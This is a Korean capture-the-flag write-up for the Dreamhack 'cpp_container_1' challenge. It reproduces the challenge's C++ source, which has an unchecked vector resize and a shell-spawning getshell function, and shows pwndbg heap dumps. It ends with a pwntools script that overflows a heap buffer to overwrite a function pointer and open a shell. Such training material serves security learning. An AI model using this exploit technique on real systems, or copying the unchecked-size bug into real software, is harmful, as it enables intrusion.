[dreamhack] cpp_container_1 writeup

1. 문제

thumbnail
cpp_container_1

이 문제는 서버에서 작동하고 있는 서비스(cpp_container_1)의 바이너리와 소스 코드가 주어집니다.
프로그램의 취약점을 찾아 flag를 획득하세요!
'flag' 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{...} 입니다.

https://dreamhack.io/wargame/challenges/62

2. 풀이


#include <iostream>
#include <vector>
#include <cstdlib>
#include <csignal>
#include <unistd.h>
#include <cstdio>

void alarm_handler(int trash)
{
    std::cout << "TIME OUT" << std::endl;
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void print_menu(){
	std::cout << "container system!" << std::endl;
	std::cout << "1. make container" << std::endl;
	std::cout << "2. modify container" << std::endl;
	std::cout << "3. copy container" << std::endl;
	std::cout << "4. view container" << std::endl;
	std::cout << "5. exit system" << std::endl;
	std::cout << "[*] select menu: ";
}

class Menu{
public:
	Menu(){
	}
	Menu(const Menu&){
	}
	void (*fp)(void) = print_menu;
};


void getshell(){
	system("/bin/sh");
}

void make_container(std::vector<int> &src, std::vector<int> &dest){
	std::cout << "Input container1 data" << std::endl;
	int data = 0;
	for(std::vector<int>::iterator iter = src.begin(); iter != src.end(); iter++){
		std::cout << "input: ";
		std::cin >> data;
		*iter = data;
	}
	std::cout << std::endl;

	std::cout << "Input container2 data" << std::endl;
	for(std::vector<int>::iterator iter = dest.begin(); iter != dest.end(); iter++){
		std::cout << "input: ";
		std::cin >> data;
		*iter = data;
	}
	std::cout << std::endl;
}

void modify_container(std::vector<int> &src, std::vector<int> &dest){
	int size = 0;

	std::cout << "Input container1 size" << std::endl;
	std::cin >> size;
	src.resize(size);

	std::cout << "Input container2 size" << std::endl;
	std::cin >> size;
	dest.resize(size);
}

void copy_container(std::vector<int> &src, std::vector<int> &dest){
	std::copy(src.begin(), src.end(), dest.begin());
	std::cout << "copy complete!" << std::endl;
}

void view_container(std::vector<int> &src, std::vector<int> &dest){
	std::cout << "container1 data: [";
	for(std::vector<int>::iterator iter = src.begin(); iter != src.end(); iter++){
		std::cout << *iter << ", ";
	}
	std::cout << "]" << "\n" << std::endl;

	std::cout << "container2 data: [";
	for(std::vector<int>::iterator iter = dest.begin(); iter != dest.end(); iter++){
		std::cout << *iter << ", ";
	}
	std::cout << "]" << "\n" << std::endl;
}


int main(){
	initialize();
	std::vector<int> src(3, 0);
	std::vector<int> dest(3, 0);
	Menu *menu = new Menu();
	int selector = 0;
	
	while(1){
		menu->fp();
		std::cin >> selector;
		switch(selector){
			case 1:
				make_container(src, dest);
				break;
			case 2:
				modify_container(src, dest);
				break;
			case 3:
				copy_container(src, dest);
				break;
			case 4:
				view_container(src, dest);
				break;
			case 5:
				return 0;
				break;
			default:
				break;
		}
	}
}

cpp답게 코드가 길지만 정리하면 아래와 같다.

  • ⁣1. make_container : srcdest라는 container 힙을 정의하고 값을 입력
  • ⁣2. modify_container : srcdest의 힙 사이즈를 변경
  • ⁣3. copy_container : src에 들어있는 내용을 dest로 copy
  • ⁣4. view_container : srcdest에 들어있는 내용을 출력
  • ⁣5. 함수 종료

간단하게 srcdestmodify할때 size 체크를 하지않고, copy를 그냥 for문으로 하기 때문에 취약점이 발생한다.

그리고 Menu 클래스 정의할 때 print_menu함수를 fp포인터에 넣게 되는데, 이때도 힙에다가 저장한다.

make_container 후에 gdb로 힙이 어떻게 생겼는지 보면 아래와 같다.

pwndbg> r
Starting program: /home/ubuntu/dreamhack/level3/cpp_container_1/cpp_container_1 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
container system!
1. make container
2. modify container
3. copy container
4. view container
5. exit system
[*] select menu: 1
Input container1 data
input: 1
input: 2
input: 3

Input container2 data
input: 4
input: 5
input: 6

container system!
1. make container
2. modify container
3. copy container
4. view container
5. exit system
[*] select menu: ^C
Program received signal SIGINT, Interrupt.

(중략)

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x605000
Size: 0x290 (with flag bits: 0x291)

Allocated chunk | PREV_INUSE
Addr: 0x605290
Size: 0x12010 (with flag bits: 0x12011)

Allocated chunk | PREV_INUSE
Addr: 0x6172a0
Size: 0x20 (with flag bits: 0x21)

Allocated chunk | PREV_INUSE
Addr: 0x6172c0
Size: 0x20 (with flag bits: 0x21)

Allocated chunk | PREV_INUSE
Addr: 0x6172e0
Size: 0x20 (with flag bits: 0x21)

Top chunk | PREV_INUSE
Addr: 0x617300
Size: 0xed00 (with flag bits: 0xed01)

pwndbg> x/30gx 0x6172a0
0x6172a0:	0x0000000000000000	0x0000000000000021
0x6172b0:	0x0000000200000001	0x0000000000000003
0x6172c0:	0x0000000000000000	0x0000000000000021
0x6172d0:	0x0000000500000004	0x0000000000000006
0x6172e0:	0x0000000000000000	0x0000000000000021
0x6172f0:	0x0000000000400f83	0x0000000000000000
0x617300:	0x0000000000000000	0x000000000000ed01
0x617310:	0x0000000000000000	0x0000000000000000
0x617320:	0x0000000000000000	0x0000000000000000
0x617330:	0x0000000000000000	0x0000000000000000
0x617340:	0x0000000000000000	0x0000000000000000

보면 src 힙이 0x6172a0에, dest0x6172c0에 존재하고, 그뒤에 Menu0x6172e0에 있다.

현재는 0x400f83 == print_menu()이 들어가있는 위치에 src의 size를 크게 변경해서 dest위치에 copy를 시키면 9번째 내용이 Menu의 함수 주소를 덮게 될 것이고, 이때 getshell함수의 주소로 변경해주면 print_menu함수가 실행될때 getshell함수가 실행될 것이다.

exploit과 결과는 아래와 같다.

from pwn import *

p = process("./cpp_container_1")
p = remote("host8.dreamhack.games", 12183)

p.sendlineafter(b"menu: ", b"1")

for i in range(6):
    p.sendlineafter(b"input: ", str(i))


p.sendlineafter(b"menu: ", b"2")
p.sendlineafter(b"Input container1 size\n", b"9")
p.sendlineafter(b"Input container2 size\n", b"3")


p.sendlineafter(b"menu: ", b"1")

for i in range(8):
    p.sendlineafter(b"input: ", str(i))
p.sendlineafter(b"input: ", str(0x401041))

for i in range(3):
    p.sendlineafter(b"input: ", str(i))


p.sendlineafter(b"menu: ", b"3")

p.interactive()
ubuntu@instance-20250406-1126:~/dreamhack/level3/cpp_container_1$ python3 e_cpp_container_1.py 
[+] Starting local process './cpp_container_1': pid 3161163
/home/ubuntu/dreamhack/level3/cpp_container_1/e_cpp_container_1.py:9: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendlineafter(b"input: ", str(i))
/home/ubuntu/dreamhack/level3/cpp_container_1/e_cpp_container_1.py:20: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendlineafter(b"input: ", str(i))
/home/ubuntu/dreamhack/level3/cpp_container_1/e_cpp_container_1.py:21: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendlineafter(b"input: ", str(0x401041))
/home/ubuntu/dreamhack/level3/cpp_container_1/e_cpp_container_1.py:24: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendlineafter(b"input: ", str(i))

[*] Switching to interactive mode
copy complete!
$ id
uid=1001(ubuntu) gid=1001(ubuntu) groups=1001(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),105(lxd),114(docker)

해결~